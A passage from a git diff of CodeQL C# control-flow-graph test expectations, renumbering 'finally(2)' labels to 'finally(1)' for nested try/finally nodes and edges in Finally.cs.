| successor | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | semmle.label | successor | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | semmle.label | successor | | Finally.cs:250:17:252:17 | {...} | Finally.cs:251:21:251:55 | ...; | semmle.label | successor | -| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:254:13:254:45 | ...; | semmle.label | successor | | Finally.cs:251:21:251:55 | ...; | Finally.cs:251:39:251:53 | "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | semmle.label | successor | | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | semmle.label | successor | | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | semmle.label | successor | | Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:54 | call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | semmle.label | successor | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index 5cf17d2526b..3823d0b2b45 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -685,33 +685,33 @@ finallyNode | Finally.cs:93:31:93:45 | [finally: break] object creation of type Exception | Finally.cs:79:13:99:13 | try {...} ... | | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:79:13:99:13 | try {...} ... | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:79:13:99:13 | try {...} ... | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:23 | [finally: break] ...-- | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:23 | [finally: continue] ...-- | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:23 | [finally: return] ...-- | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:24 | [finally: break] ...; | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:24 | [finally: continue] ...; | Finally.cs:90:17:98:17 | try {...} ... | -| Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | +| Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:97:21:97:24 | [finally: return] ...; | Finally.cs:90:17:98:17 | try {...} ... | | Finally.cs:113:9:118:9 | [finally: exception(Exception)] {...} | Finally.cs:105:9:118:9 | try {...} ... | | Finally.cs:113:9:118:9 | [finally: exception(NullReferenceException)] {...} | Finally.cs:105:9:118:9 | try {...} ... | @@ -935,45 +935,45 @@ finallyNode | Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:197:9:212:9 | try {...} ... | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:197:9:212:9 | try {...} ... | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:197:9:212:9 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:17:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:17:209:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:203:13:210:13 | try {...} ... | | Finally.cs:211:13:211:16 | [finally: exception(Exception)] this access | Finally.cs:197:9:212:9 | try {...} ... | | Finally.cs:211:13:211:16 | [finally: exception(ExceptionA)] this access | Finally.cs:197:9:212:9 | try {...} ... | @@ -997,37 +997,37 @@ finallyNode | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:237:13:253:13 | try {...} ... | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:237:13:253:13 | try {...} ... | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:237:13:253:13 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally(1): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method 